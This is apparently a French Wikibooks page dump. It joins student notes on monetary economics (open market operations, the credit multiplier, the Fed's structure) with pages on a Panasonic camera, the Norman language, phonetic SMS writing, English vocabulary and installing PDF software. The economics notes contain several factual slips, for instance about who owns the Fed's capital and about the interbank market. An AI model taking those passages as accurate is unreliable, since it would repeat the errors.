l'inverse de l'open market. Dans l'open market, la BC joue une stratégie totalement différente, elle ne fixe pas un taux de réescompte, mais la quantité de monnaie centrale qu'elle est prète à offrir, et cette quantité, cette quantité peut être plus où moins nulle. Si elle est nulle, la banque centrale n'intervient pas à l'open market, si la quantité est négative, cela signifie que non seulement la BC n'offre point de monnaie centrale, mais qu'en plus elle cherche à racheter sa propre monnaie (cela s'appelle des opérations défensives d'open market). Si la quantité est supérieure, la BC la vend au plus offrant, c'est à dire à l où aux banques commerciales qui offriront les contres valeurs les plus élevées pour acquérir la monnaie centrale donnée. L'écart entre cette contre-valeur et la monnaie centrale offerte, exprimé en % s'appelle le « ''Taux d'open market'' », il est exprimé sur les mêmes bases que le taux de réescompte. Considéreront une banque commerciale dépourvue de monnaie centrale et qui se lance dans une opération de crédit, imaginons que le bénéficiaire réclame une partie en billet, la banque commerciale se retourne vers la BC, et qua ce moment là la BC n'offre rien à l'open market, il advient que la banque commerciale est en faillite. Ainsi dans une systeme d'open market, aucune banque commerciale ne prendra le risque d'impulser une creation de credit s'en s'être assuré aux prealable qu'elle a la quantité de monnaie centrale necessaire à son operation de credit, sinon elle risque sa propre faillite. Puisque pour de la monnaie, la banque commerciale doit disposer de monnaie centrale, c'est la BC qui joue le premier coup, c'est-à-dire que c'est à la BC qui revient l'initiative de la création de monnaie. Ainsi, bien que les apparences soient similaires, la logique des deux processus est inversée. == '''Chapitre 2 : Les mécanismes d'expansion de l'offre de monnaie.''' == Le dernier chapitre se terminait sur l'idée que lorsqu’une banque commerciale (bc) effectuée des crédits où recevait des dépôts, elle devait fournir une fraction de ses crédits en m''onnaie centrale'' (MC) à la BC sur un compte non rémunéré. Cette fraction s'appelle le « ''Taux de réserve obligatoire'' » (noté "''r_o''") et l'ont avait admis que les banques commerciales pouvaient se procurer de la MC par l'intermédiaire du réescompte où de l'open market. On est en mesure d'exposer le processus d'exemption de la masse monétaire par le mécanisme dit de « ''multiplicateur de crédit'' » (qui est différent du ''multiplicateur Keynesien''). == ''''' I) La théorie du multiplicateur du crédit. ''''' == On va commencer par faire deux hypothèses qui seront tenues tous le long du chapitre. La première est qu'il n'y a pas d'état, pas d'impôts et pas de dépense publique. La deuxième hypothèse étant le fait qu'il n'existe pas de billet, moyennant quoi on peut examiner deux situations diamétralement opposées . Il n'existe qu'une seule bc, l'explication de cette hypothèse est évidente; Comme ont l'a déjà dit, une bc peut être débitrice en monnaie de compensation et doit régler en MC. Comme on l'a également dit, la compensation est un processus de paiement entre bc, qui disparaît ici, car il n'en existe qu'une. Par définition donc, cette bc sait qu'elle ne sera jamais débitrice en compensation. Conformément à la théorie du multiplicateur de crédit, supposons que la bc satisfasse à ses obligations de réserve, qui pour cette raison n'apparaît pas dans son bilan. Maintenant, la BC (Banque Centrale) joue le premier coup en proposant à la bc de lui acheter à l'open market un certain volume de reconnaissance de dette que désormais on appellera « ''titre'' » pour une valeur disont de 100€ à l'échange de MC. Supposont que la bc accepte, voyont le bilan de la BC et de la bc : <nowiki>Banque commerciale Banque Centrale Actifs : Titres = -100 € Actifs : Titres = +100 € Reserve = +100 € Passifs : Passifs : Reserves = +100 €</nowiki> Pour la bc, l'écriture ne pose pas de problème, elle a cédé 100 € de titre à la BC, et a recu en échange 100 € de MC. On note donc que puisque par hypothèse, la bc satisferait ses obligations de réserve, elle n'a nul besoin de 100 € de réserve : on les appelle des ''réserves libres''. Les réserves libres c'est toute la MC que détiens la bc en plus des réserves obligatoires. Bien entendu, la bc n'aurait pas accepter l'opération uniquement pour garder des réserves libres, qui ne lui rapportent rien, en cédant des titres qui portent interêt, si elle agit de cette façon, c'est dans l'intention de créer des crédits. voyont maintenant le bilan de la BC : traditionnellement, en comptabilité, les engagements vont au passif et les avoirs à l'actif. On comprend donc bien que les titres apparaissent à l'actif de la BC, car c'est un avoir sur le débiteur. On observe que les réserves de la bc apparaissent aux passifs, et s’il y avait eu des billets de banque, ils auraient également été aux passifs. La raison est à la fois historique et comptable : elle date du temps où les billets étaient convertibles en or. Ainsi, les détenteurs de billets pouvaient demander à la BC de les leur convertirs. De nos jours les billets ne sont plus convertibles, mais la tradition est resté, ce qui explique que la MC sous toutes ses formes apparaît au passif de la BC. On a également vu que la BC détenait 100 € de réserve libre, son intention est de creer des credits afin de profiter des interêt versés sur les credits. La question est en quelle quantité ? : Une quantité t'elle que les réserves libres deviennent obligatoire. Si l'ont prend comme <nowiki>r_o</nowiki> = 10 %, la banque va créer 1000 € de crédit, elle aura besoin de 1000x10% = 100 € de réserve obligatoire, c'est exactement ce qu'elle a et elle n'a aucun intérêt à créer moins, car il lui resterait des réserves libres improductives, et elle ne peut créer plus, car si elle le faisait, elle devrait fournir des réserves obligatoires en MC en quantité supérieure à celle qu'elle détient. De manière plus générale, si l'ont appelle <math>M</math> la quantité de monnaie nouvellement créée et <math>R</math>, la quantité de réserve libre crée par l'opération d'open market, et si l'ont designe traditionnellement par Δ, l'opération d'accroissement ont obtient la relation <nowiki>ΔM = (1/r_o)xΔR</nowiki>. E.g : 1000 = (1/(1/10)x100. L'expression <math>1/r_o</math> s'appelle l''e multiplicateur de crédit''. Dans notre exemple, c'est simplement l'inverse du taux de réserve obligatoire. On garde toujours le même jeu d'hypothèse sauf qu'au lieu d'admettre qu'il n'existe qu'une seule bc, ont fait now l'hypothèse diamétralement opposée, qu'il en existe une infinité; cette hypothèse à une conséquence, c'est que chaque bc prise individuellement est tellement petite qu'elle est certaine que l'integralité de sa création monétaire va s'échapper vers une autre banque, qu'elle aura donc à regler en compensation. Ainsi dans l'hypothèse précédente, la bc unique n'avait jamais rien à régler en compensation, ici au contraire, chaque banque sait qu'elel aura l'intégralité de son crédit) payer en compensation. Reprenons l'exemple en appelant la banque A, la bc de l'exemple précèdent, celle-ci se retrouve donc avec 100 € de réserves libres. La question est, dans le nouveau contexte, qu'elle est le volume de crédit va t'elle consentir ? Si elle est prudente, pas plus de 100 €, en effet, dans l'autre jeu d'hypothèse, le client X de A va utiliser son crédit pour payer un individu Y, client d'une banque B, chez qui il va déposer son chèque. <nowiki> Banque A---->X---->Y------> Banque B------>Z----------------------------> Banque C</nowiki> <nowiki>Actif = Reserve +10 reste 90 € Actif = Reserve Libre de 81 € Passif = Depot + 100 € Passif = Depot de 90 € </nowiki> À la compensation, la banque B va présenter à A le chèque de 100 € que la banque A va lui régler en MC, B va donc se retrouver propriétaire de 100 € de MC. Comme elle a obtenu un dépôt égal à 100 €, elle doit approvisionner son compte de réserve obligatoire de 100x10% = 10 €, reste 90 € de réserve libre. À son tour la banque B va octroyer un crédit, que, si elle est prudente, n'excédera pas 90 €, en effet, pour les mêmes raisons que tantôt, les 90 € vont régler un client Z de la banque C, qui va se retrouver avec un dépôt de 90€. À la compensation, la banque C va présenter le chèque à la banque B, qui lui réglera 90 € [..] en MC. Comme la banque B à un dépôt de 90 €, elle doit approvisionner son compte de réserve de 9 € et lui restera 81 € de réserves libres quelle va utiliser pour faire des crédits. Au total, la création monétaire va être 100+90+81...=> 100+100(1-r_o) + 100(1-r_o)(1-r_o) 100+100(1-r_o)+ 100(1-r_o)² 100(1+(1-r_o)+(1-r_o)² Si (1-r_o)=a 100(1+a+a²+a3) On démontre que dans la mesure où " a " est infèrieur à 1, ce qui est le cas si r_o est positif, alors cette suite infinie converge vers une limite finie => <math>1/(1-a)</math> = <math>1/(1-(1-r_o)</math> = 1/r_o, c'est la même valeur que dans le point précédent. On se persuadera facilement que l'ont aurait obtenu le même résultat si on avait supposé que cela n'était pas l'intégralité du crédit, mais le 1/3, le 1/4 où toute autre fraction qui s'échappe en compensation. En fait, le multiplicateur de crédit est indépendant de la structure du système bancaire, il ne dépend que du taux de réserve obligatoire r_o !!! Reprenons la formule du multiplicateur de crédit <nowiki>ΔM=(1/r_o)Δk</nowiki>, on peut noter que le problème essentiel de la BC, contrôler la quantité de monnaie soit immédiatement résolu : Par ces opérations d'open market, la BC contrôle <nowiki>ΔR</nowiki>, comme c'est elle qui fixe <nowiki>r_o</nowiki>, elle a toutes les cartes en main pour contrôler <nowiki>ΔM</nowiki>. La réalité est tout à fait différente, pour des raisons qui touchent à la fois au multiplicateur de crédit et aux réserves des banques. En ce qui concerne le multiplicateur de crédit, il est clair que la formule 1/r_o, une fois r_o fixé par la BC, le multiplicateur de crédit est constant. Or, lorsque l'on observe la série vraie du multiplicateur de crédit, on s'aperçoit que celui-ci varie beaucoup alors même que le taux de réserve obligatoire est constant. Contradiction avec la formule ! À des fins de simplification, on a omis une variable essentielle, les mouvements de billets de banque ! Si l'on avait intégré cette variable, la formule ne s'exprime plus de façon simple. Le rôle des billets dans le multiplicateur de crédit est important, supposons qu'un particulier, détenteur d'un compte dans une bc, demande la conversion de la totalité de son compte en billet, la bc ne peut s'y opposer sous peine de faillite. Pour satisfaire cette demande, elle va pomper sur ces réserves libres et par conséquent disposera de moins de réserve libre et par conséquent disposera de moins de moyens pour faire des crédits. Ainsi, une augmentation de la consommation de billets a pour effet de réduire la valeur du multiplicateur, l'inverse dans le cas contraire. L'expérience statistique montre que la part de circulation fiduciaire varie énormément à l'intérieur de l'année, du mois et de la semaine. Une partie de ces variations sont dites saisonnières, qu'un appareil statistique complexe permet de prendre en compte. Malheureusement, une autre partie de ses variations sont de natures aléatoires et impossibles à prédire, même avec un appareillage statistique puissant. La BC est donc en permanence confrontée à une instabilité du multiplicateur de crédit, dont une seule partie est prévisible, c'est une première source d'incertitude. Une autre, encore plus importante provient de Δ, l'augmentation des réserves libre. Tous ces éléments doivent êtres pris en compte dans la stratégie de la BC. == ''''' II)Les stratégies de la F.E.D et de la B.C.E. ''''' == '''1 - Les USA :''' Les USA ont un système bancaire qui a subi l'épreuve du temps qui est à la fois très complexe et très original. Le premier élément caractéristique du système américain, c'est l'indépendance de la F.E.D qui a été poussée à l'extrème. Le système est complexe, car aux USA il existe 12 banques centrale ! Et lorsque l'ont sait qu'il existe 50 états, chaque banques centrale doit couvrir plusieurs états et où morceau d'état. La zone de compétence d'une BC s'appelle le district peut paraître incompréhensible, mais fut construit de telle sorte qu'aucune force politique dominante ne puisse émerger au sein d'un district. Ainsi la F.E.D de St Louis couvre l'état du Missouri, mais aussi d'autre état ou morceau d'état qui empecherai la FED de St Louis de faire prévaloir les interet du Missouri sur ceux d'autre état. Ainsi, les directeurs des BC sont relativement à l'abri des lobbies locaux. Mais on notera également qu'aucun membre du gouvernement n'a le droit de siéger dans le conseil d'administration de la BC, ni aucune personnalité politique locale. Comme les directeurs sont nommés pour 14 ans, ils bénéficient d'une indépendance quasi absolue, tant du côté des pouvoirs locaux que du côté du gouvernement central. Les choses vont encore plus loin, car le capital social des F.E.D's est la propriété des banques centrale du district qui n'ont pas le droit de siéger au conseil d'administration. En théorie, le président de la F.E.D (A. Greenspan) est nommé par le président des USA, est doit être confirmer par le sénat. En pratique, aucun président ne s'est opposé à la nomination d'un président de la F.E.D. Dire que la F.E.D est indépendante ne signifie pas qu'elle peut agir totalement à sa guise. Son status et ses objectifs son en effet inscrit dans la loi, et la F.E.D en est comptable devant le congrès (qui est la réunion de la chambre des représentants et du sénat) ainsi le président de la F.E.D doit déférer à toute convocation du congrès pour justifier de sa politique. En ce sens, la F.E.D peut être considéré une comme une institutions démocratiques, car les élu du peuple ont le pouvoir de censuré la politique monétaire. Aux USA, la BC intervient surtout en opération d'open market. Cependant, à ses opérations s'associe à un phénomène plus complexe. Revenons sur le mécanisme de la compensation, l'excédent d'une banque est forcément le déficit d'une autre, donc arithmétiquement, le solde global devrait être nul. Or tel n'est pas le cas, pour des raisons que l'on verra plus bas. Pour le moment, supposant une bc créditrice en compensation, que va'-elle faire de son excédent ? Avant de répondre, ajoutont un nouvel élément : Il existe entre les banques centrales un marché de la monnaie centrale, ainsi une banque centrale excédentaire pourra prêter son excédent à une consoeur déficitaire, en général, pour de courtes durées (1 mois où plus) et moyennant un taux d'intérêt que l'ont appelle le taux au jour le jour : « TJJ », expression générique, car dans le cas des USA, on parle de « Taux de fond fédéraux », tandis que l'on parle d'"''Eonia''" en Europe. La stratégie de la banque va évidemment dépendre aux niveaux des TJJ. Yonz + correction Photographie - 40 - Panasonic 6116 27001 2005-12-18T19:28:25Z 212.254.27.79 /* Appareils numériques */ {{Photographie}} == Appareils numériques== === Lumix FZ 20 (2003) === [[Image:FZ20-p0001592.jpg|thumb|180px|Panasonic Lumix FZ 20]] * Type d'appareil : Bridge * Format de film / capteur : CCD * Types de cartes-mémoire : Secure Digital * Monture des objectifs : Fixe, objectif Leica equiv. 35mm à un zoom 35 à 432 mm, focal 2.8 constante. * Viseur : écran et viseur * Obturateur : * Déclencheur : * Contrôle de l'exposition : * Sensibilité film / capteur : de 80 à 400 ASA * Informations dans le viseur : * Mémorisation de la mesure : * Retardateur : 2 ou 10 secondes * Avance du film : N/A * Correction d'exposition : * Compteur de vues : * Expositions multiples : * Touche de profondeur de champ : * Contrôle de piles : * Alimentation : Batterie rechargeable * Interrupteur principal : * Dimensions : 127.6 mm de largeur, 87.2 mm de hauteur, 106.2 mm de longueur * Poids : 520 g (boîtier seul, sans pile). * Accessoires : par-soleil (nécessaire pour l'utilisation de filtres), cables <gallery> Image:FZ20-p0001586.jpg Image:FZ20-p0001587.jpg Image:FZ20-p0001588.jpg Image:FZ20-p0001589.jpg Image:FZ20-p0001590.jpg Image:FZ20-p0001591.jpg Image:FZ20-p0001594.jpg Image:FZ20-p0001595.jpg Image:FZ20-p0001596.jpg Image:FZ20-p0001598.jpg </gallery> === Lumix ... === [[Image:Panasonic-Lumix-6MP-p1030346.jpg|thumb|180px|Panasonic Lumix ...]] * Type d'appareil : * Format de film / capteur : * Types de cartes-mémoire : * Monture des objectifs : * Viseur : * Obturateur : * Déclencheur : * Contrôle de l'exposition : * Sensibilité film / capteur : * Informations dans le viseur : * Mémorisation de la mesure : * Retardateur : * Avance du film : * Correction d'exposition : * Compteur de vues : * Expositions multiples : * Touche de profondeur de champ : * Contrôle de piles : * Alimentation : * Interrupteur principal : * Dimensions : * Poids : (boîtier seul, sans pile). * Accessoires : Langue normande/Introduction à la langue normande 6118 34355 2006-02-24T09:19:24Z 213.133.215.52 [[Image:Langues de la France1.gif|thumb|Le normand est une langue de France et des îles Britanniques]] La [[w:fr:Normand|langue normande]] est une langue romane parlée en Normandie (en France et dans les Îles anglo-normandes). Elle fait partie du groupe des langues d'oïl. Le '''normand''' comprend un ensemble de variantes locales bien différenciées (ou patois locaux), dont plusieurs sont en voie de disparition. Les plus usités actuellement sont le cotentinais (parlé dans le Cotentin), le jersiais (à Jersey), le guernesiais (à Guernesey) et le cauchois (pays de Caux). Langue normande/Comment apprendre le normand ? 6119 26685 2005-12-10T08:35:52Z Guillaumito 46 correction lien L'apprentissage de la langue normande nécessite aujourd'hui de bonnes connaissances en [[Enseignement_du_français|langue française]]. Même si le normand diffère sur bien des points, le français est lui aussi issu des langues d'oïl. C'est une base indispensable. Attention toutefois à ne pas se lancer dans cet apprentissage en pensant ''a priori'' que les patois de la langue normande seraient des formes locales de français déformé. Le français et le normand coexistent dans l'espace linguistique d'oïl depuis plus de mille ans : leur proximité géographique a rendu inévitable les intéractions, en particulier depuis le XVII{{e}} siècle. ---- '''Comment apprendre le vocabulaire normand ? ''' Les variétés locales du normand ont été étudiées depuis un siècle en privilégiant particulièrement le riche vocabulaire, lié notamment aux secteurs de l'agriculture et de la pêche. Cet ensembles de lexiques imprimés ici et là a été complété par l'essor et l'épanouissement d'une littérature normande, en particulier dans les îles anglo-normandes, dans le Cotentin et dans le pays de Caux. Pour apprendre ce vocabulaire, il faut se procurer les dictionnaires existants en librairie, ou sur internet comme celui qu'enrichit par exemple l'association musicale ''Magène'': Voy. par ex. le [http://magene.chez-alice.fr/dico/A.html dictionnaire normand (cotentinais)/français]. (à suivre) Langage PMS : Phonétique Muse Service 6123 26724 2005-12-11T15:47:59Z Phil marso 913 /* Lien utile de la PMS */ == Kezako la PMS ? == Phonétique Muse Service == Historique == En janvier 2004, l'écrivain indépendant d'origine française Phil Marso publie le premier livre en langage SMS « pa sage a taba vo SMS » (Éditions Megacom-ik). Au départ, cela paraissait une blague de potache. Puisque le SMS est très décrié par les défenseurs de la langue française à juste titre. Sauf, après quelques témoignages d'orthophonistes, le SMS pourrait être une piste pour les dyslexiques, mais pas uniquement. Juin 2004, Phil Marso développe ses travaux autour du SMS avec un nouvel ouvrage «Frayeurs SMS» (Éditions Megacom-ik). La page de gauche est en français, la page de droite en SMS. La nouveauté réside sur l'introduction de l'apostrophe « ' » dans l'écriture SMS. Ex : k''''L''' (quel - quelle) '''K''''ré''''C''' (caresser) L'idée est de scinder les syllabes, afin de les rendres plus lisible et surtout accessible au niveau de la phonétique. Le SMS abrégé utilisé sur du téléphone portable n'implique pas l'apostrophe, ce qui fait que l'on compresse des mots, des phrases entières. Résultats : les règles grammaticales et orthographiques volent en éclat. Ce qui fait le bonheur des adoslescents complexés par la rigueur de la langue française. Reprennons notre exemple avec le deuxième mot : caresser. Écrivons-le en SMS abrégé : KréC Le destinataire aura du mal à traduire le mot. Phonétiquement, il pourra même l'interpréter par : kréssé L'apostrophe tenant le premier rôle dans l'écriture PMS. Elle permet d'être plus lisible et va à contre courant du SMS abrégé, qui se veut le mot le plus court. Ainsi, la PMS n'a pas l'objectif de son aîné SMS. Mars 2005, un troisième ouvrage « L » (Éditions Megacom-ik) met en pratique la PMS à travers des poèmes d'auteurs illustres : Baudelaire, Rimbaud, Verlaine, Hugo etc. Mai 2005, un manuel scolaire le plus décalé «CP SMS » (Éditions Megacom-ik)donne la base de la PMS en 29 leçons. Si aujourd'hui, je me propose d'expliquer mes travaux ici, c'est par la necessité d'ouvrir une passerelle entre le SMS abrégé et la langue française. La PMS aborde un aspect "pédagogique" non négligeable : remotiver les cancres orthographiques par des exercices ludiques PMS afin de les re-basculer vers la langue française. Dans les prochains jours, je vous proposerais quelques exercices et la traduction en PMS, d'un conte célèbre. --[[Utilisateur:Phil marso|Phil marso]] 11 décembre 2005 à 00:22 (UTC) == Alphabet de la PMS == Le SMS est composé de chiffre, de lettre en majuscule et d'abréviation. La PMS étant un dérivé du langage SMS, avec des caractères supplémentaires afin de codifier au plus proche de la langue française. == Les chiffres == '''1''' : un, une '''2''' : de, deux '''3''' : troi '''4''' : quatre '''6''' : si, çi, ci, si, xi '''7''' : cet, cette, set, sette '''8''' : ui '''9''' : neuf '''10''' : di, dy '''100''' : san, sang, sen '''1000''' : mille A noter que le chiffre 5 n'est pas applicable dans la PMS, contrairement au SMS. Puisqu'il est courant de faire une faute "phonétique" sur du téléphone portable. Ex : 5pa (sympa) En PMS, on l'écrit : s''''1'''pa. --[[Utilisateur:Phil marso|Phil marso]] 11 décembre 2005 à 15:10 (UTC) == Bibliographie des livres en PMS == « '''pa sage a taba''' » le premier livre entièrement rédigé en SMS – Janvier 2004 - ISBN : 2-912458-21-8 « '''Frayeurs SMS''' », le premier livre bilingue SMS & Français (Page de gauche en SMS, page de droite en langue française). Juin 2004 - ISBN : 2-912458-22-6 « '''L''' », le premier recueil de poèmes en PMS ayant pour thématique la femme. Traduction de poèmes : Victor Hugo, Charles Baudelaire, Rimbaud, Apollinaire, Verlaine, Cros, Poe… - Mars 2005 « '''CP SMS''' » apprenez le langage SMS à travers 29 leçons. – Mai 2005 - ISBN : 2-912458-24-2 « '''la font’N j’M ! - La Fontaine j'aime !''' » les fables de Jean de La fontaine en PMS. – Novembre 2005 - ISBN : 2-912458-26-9 « '''K'pote swing''' » polar sur la prévention du sida en PMS - Décembre 2005 - ISBN : 2-912458-27-7 == Lien utile de la PMS == [http://www.profsms.com : Apprenez la PMS à travers des devoirs, traductions textes, poèmes] == Projet expérimental == La PMS est un projet expérimental présenté par son auteur Phil Marso. Il n'affirme pas à l'état actuel une certitude d'avenir. Il propose simplement une alternative au SMS abrégé. Bien entendu, cela peut heurter les amoureux de la langue française. Néanmoins, il a le mérite de provoquer ce débat de réflexion. N'oublions pas que le SMS abrégé a été inventé par l'industrie de la téléphonie GSM. Industrie qui aujourd'hui ne se préoccupe guère des conséquences au niveau de l'éducation nationale. --[[Utilisateur:Phil marso|Phil marso]] 11 décembre 2005 à 15:47 (UTC) Anglais : Pays 6127 28724 2006-01-12T06:20:32Z Shanel 565 ortho '''GEOPOLITICS''' ''GEOPOLITIQUE'' '''The World''' ''Le monde'' '''the West''' ''l'Ouest,l'Occident''<br /> '''the North''' ''le Nord''<br /> '''the South''' ''le Sud''<br /> '''the East''' ''l'Est, l'Orient''<br /> '''the Middle East''' ''le Moyen-Orient''<br /> '''the Far East''' ''l'Extrême-Orient''<br /> '''South-East Asia''' ''le Sud-Est asiatique''<br /> '''the continents''' ''les continents''<br /> '''Africa''' ''l'Afrique''<br /> '''an African''' ''un Africain''<br /> '''(the) Africans''' ''les Africains''<br /> '''Asia''' ''l'Asie''<br /> '''an Asian''' ''un Asiatique''<br /> '''(the) Asians''' ''les Asiatiques''<br /> '''Europe''' ''l'Europe''<br /> '''Western Europe''' ''l'Europe occidentale''<br /> '''Eastern Europe''' ''l'Europe orientale''<br /> '''Southern Europe''' ''l'Europe du Sud''<br /> '''Northern Europe''' ''l'Europe du Nord''<br /> '''a European''' ''un Européen''<br /> ''(the) Europeans''' ''les Européens''<br /> '''America''' ''l'Amérique''<br /> '''North America''' ''l'Amérique du Nord''<br /> '''South/Latin America''' ''l'Amérique du Sud/Latine''<br /> '''the West Indies''' ''les Antilles''<br /> '''a West Indian''' ''un Antillais''<br /> '''Oceania''' ''l'Océanie''<br /> '''industrialized countries''' ''les pays industrialisés''<br /> '''developed countries''' ''les pays développés''<br /> '''developing countries''' ''les pays en voie de développement''<br /> '''The Third World''' ''le tiers-monde''<br /> '''Countries and Nations''' ''Les pays et les nations'' '''a state''' ''un état''<br /> '''a homeland, a fatherland''' ''une patrie''<br /> '''a territory''' ''un territoire''<br /> '''a region''' ''une région''<br /> '''a border, a boundary''' ''une frontière''<br /> '''a nationality''' ''une nationalité''<br /> '''a people''' ''un people''<br /> '''a flag''' ''un drapeau''<br /> '''a national anthem''' ''un hymne national''<br /> '''a capital (city)''' ''une capitale''<br /> '''Main countries''' ''Les pays principaux'' Roulements - Endommagement 6131 26743 2005-12-13T14:34:42Z Jean-Jacques MILAN 114 [[Roulements - Endommagement]] déplacé vers [[Tribologie - Endommagement des roulements]]: remise en ordre des titres #REDIRECT [[Tribologie - Endommagement des roulements]] Engrenages - Endommagement des dentures 6133 26758 2005-12-13T19:16:58Z Jean-Jacques MILAN 114 [[Engrenages - Endommagement des dentures]] déplacé vers [[Tribologie - Endommagement des engrenages]]: cohérence #REDIRECT [[Tribologie - Endommagement des engrenages]] Lire et Faire des fichiers PDF 6136 46500 2006-06-29T14:24:20Z 129.194.8.73 /* Matériel nécessaire: */ corr. mineures <!-- Note : Je dois encore insérer les images! Merci de votre compréhension.--> ==Matériel nécessaire:== Sur PC sous Windows: *Adobe reader. *PDFCreator. *Liaison Internet. *ou OpenOffice.org *ou GhostScript et RedMon Sur Mac: Si vous utilisez Mac OS X, tout les outils nécessaires sont inclus dans le système d'exploitation : *Pour lire un PDF : Aperçu (situé dans le dossier "Applications"). *Pour créer un PDF : Depuis n'importe quel logiciel qui possède une fonction imprimer, sélectionnez "Fichier > Imprimer", puis "PDF > Enregistrer en PDF". Vous pouvez aussi utiliser OpenOffice.org (libre et gratuit), ou Adobe Distiller (payant). ==Adobe Reader== ===Etape 1 - Téléchargement d'Adobe Reader:=== Pour télécharger Adobe Reader, il existe deux façons simples. La première consiste à aller sur le site www.telecharger.com, d'y faire une recherche et de télécharger la dernière version d'Adobe Reader soit la 7.0.5 présentement. La Deuxième solution plus simple encore est celle que nous allons suivre. Suivez le lien suivant en cliquant dessus : http://www.adobe.fr/products/acrobat/readstep2.html Il s'agit de la page de téléchargement directement sur Adobe France. Prenez bien le soin de ne pas cocher les cases de droite! Ce sont des produits supplémentaires qui vous gêneront plus qu'autre chose. La taille du fichier ne devrait pas exéder 22Mo pour la version 7.0. Si votre ordinateur manque de place, vous pouvez télécharger sur le site www.telecharger.com une version antérieure soit la version 6 ou 5. Je vous conseille la 5 à ce moment là. Revenons à notre procédure : Il vous faut maintenant télécharger Adobe reader 7.0.5. Il vous suffit de cliquer sur le bouton rouge « télécharger ». Une fenêtre va s'ouvrir sur une nouvelle page. Si la fenêtre est quelque peu différente c'est que votre navigateur n'est pas Firefox ou Netscape. Si vous utilisez Internet Explorer, vous aurez probablement une fenêtre avec une icône d'ordinateur en haut à gauche et en bas plusieurs options. Quoi qu'il en soit choisissez « Enregistrer sous » ou « Save to disk ». ===Étape 2 – Installation d'Adobe Reader=== Pour installer Adobe Reader, rien de plus simple : Double cliquez sur l'icône. Cela lance le « download Manager ». Il va télécharger les fichiers. Ne pas l'interrompre. Tout ce fait automatiquement. Ensuite une fenêtre va s'ouvrir et vérifiera le système. Faire « suivant ». Puis encore une fois « suivant ». Ensuite il demande où installer le logiciel. Je vous conseille de le laisser faire à ce stade. Cliquez sur « suivant ». Puis vous aller devoir lancer l'installation en cliquant sur « installer ». Le logiciel s'installe par lui-même.<br/> Une fois terminé, le programme d'installation va vous demander de quitter en appuyant sur « terminer ».<br/> *Voilà vous avez fini le programme d'installation d'Adobe Reader. Vous pouvez désormais lire les fichiers .pdf. Félicitations!<br/> Au passage j'en profite pour vous signaler que vous pouvez supprimer les icônes qu'adobe à mis sur votre bureau. Et même le programme d'adobe download manager à partir de l'ajout/suppression de programmes de Windows. C'est toujours quelques Mo de gagné! ==PDFCreator== ===Étape 3 – Téléchargement de PDFCreator=== PDFCreator est un logiciel [[http://fr.wikipedia.org/wiki/Logiciel_libre libre]] et gratuit qui a été développé pour permettre aux utilisateurs de Windows et de la suite MS Office de créer gratuitement des fichiers .pdf d'une façon simple. Un grand merci à eux car pour les anciens et initiés qui ont eu à créer les paramètres de l'imprimante fantôme, ghostscript, etc., c'est un grand soulagement que l'arrivée de ce formidable logiciel. Pour les autres soyez certains que votre vie a été considérablement simplifiée par ces personnes et le développement du logiciel libre. <br/> Le logiciel se télécharge et s'installe facilement en quatre étapes. D'abord nous allons télécharger le logiciel depuis telecharger.com: http://www.01net.com/telecharger/windows/Bureautique/editeur_de_texte/fiches/26668.html Cliquez sur le lien ci-dessus. (je laisse les liens en entiers afin que vous puissiez retrouver le chemin si ceux-ci change d'ici votre utilisation de ce tutoriel). <br/><br/> Une ou plusieurs fenêtre s'ouvriront. Laissez faire jusqu'à ce que l'on vous demande de le télécharger. Alors enregistrez le fichier là où vous saurez le retrouver, je vous conseille le bureau Windows. Le Fichier va se télécharger. Une fois fini, vous pouvez fermer les fenêtres ouvertes sur internet. ===Etape 4 – Installation de PDFCreator:=== Double cliquez sur l'icône (cf. ci-dessus). Voici la fenêtre qui va s'ouvrir:<br/><br/> Vous avez le choix entre l'installation en Deutsch (allemand) et en English (anglais). Je vais la faire en anglais avec vous car la langue est plus répandue parmi la communauté francophone, mais si vous préférez la faire en allemand et que vous avez des difficultés vous pouvez me contacter par mail (cf. la fin du tutoriel). Cliquez sur « OK ». Ensuite voici ce qui va s'afficher:<br/><br/> Cliquez sur « next ».<br/><br/> Cliquez sur « I accept the agreement ». Puis sur « Next ».<br/><br/> Vous devez choisir la localisation du programme sur votre disque dur. Je vous conseille de laisser ce qu'il a mis soit:c:\Program Files\PDFCreator (je le remet au cas où vous auriez perdu le chemin. Puis cliquez sur « Next ».<br/><br/> Choisissez « full instalaltion » et cochez la cas « printer ». Puis faire « Next ».<br/><br/> On vous demande de choisir l'emplacement dans le menu démarrer. Soit vous laisser soit vous pouver faire « browse » et choisir par exemple accessoires. Cela donne dans ce cas: « Accessoires\PDFCreator ». C'est ce que je vous conseille si vous ne voulez pas avoir trente six mille dossiers dans « tous les programmes ». surtout si vous utilisez Windows 95 ou 98.<br/><br/> il vous demande des paramètres d'instalaltions. Décochez la case « create a desktop icon ». Sauf si vous aimez avoir des centaines d'icônes sur votre bureau. Et par contre cochez les trois cases de « other tasks »!!! Puis cliquez sur « Next ». Une nouvelel fenêtre s'ouvre, et là cliquez sur « Install ». Il installe les fichiers nécessaires:<br/><br/> A la fin de l'instalaltin on vous demande si vous voulezredémarrer maintenant (1ère case) ou plus tard (2ème case). Choisissez ce que bon vous semble. Cela ne change rien. A ce stade, vous pouvez lire et faire des .pdf. Mais d'abord vous savez pas encore utiliser PDFCeator et celui-ci et en anglais ou allemand. ===Etape 5 – Installation du français:=== Tout d'abord prenons le fichier linguistique ici: http://umn.dl.sourceforge.net/sourceforge/pdfcreator/french.ini Nous allons procéder très simplement, vous n'aurez qu'a suivre les explications et les captures d'écran. Notons que cette installation n'est pas nécéssaire si vous pensez que l'anglais vous suffit (le niveau requis en anglais est très faible: name, save, etc.).Je précise aussi que cette manipulation peut être faîte à n'importe quel moment.<br/><br/> #Chargez le fichier dans le sous-répertoire C:\ProgramFiles\PDFCreator\Languages (clic droit de la souris sur le lien, commande "Enregistrer le fichier sous" ou "Enregistrer la cible du lien sous", selon le navigateur utilisé. Si vous avez modifié le répertoire par défaut d'installation de PDF Creator, choisir le sous-répertoire \languages dans le répertoire que vous avez choisi. #Lancez PDF Creator et choisissez "français" dans le menu "Languages". L'istallation de PDFCreator en français est terminée. D'ailleurs vous pouvez suprimer le fichier « deutsch » si vous le désirez.<br/> ===Etape 6 - Paramétrage de PDFCreator:=== Lancez le programme PDFCreator depuis le menu démarrer. Aller dans « Imprimantes » , « option ». Une fenêtre s'ouvre:<br/> Dans réglages généraux: #Cliquez sur le bouton: « associer les fichiers Postscpt à PDFCreator » (le bouton deviendra comme ci-dessus). #Cocher la case « pas de confirmation de l'utilisation comme imprimantepar défaut. » cliquez sur « enregistrer » tout en bas. <br/> Voilà, c'est fini. ===Utilisation de 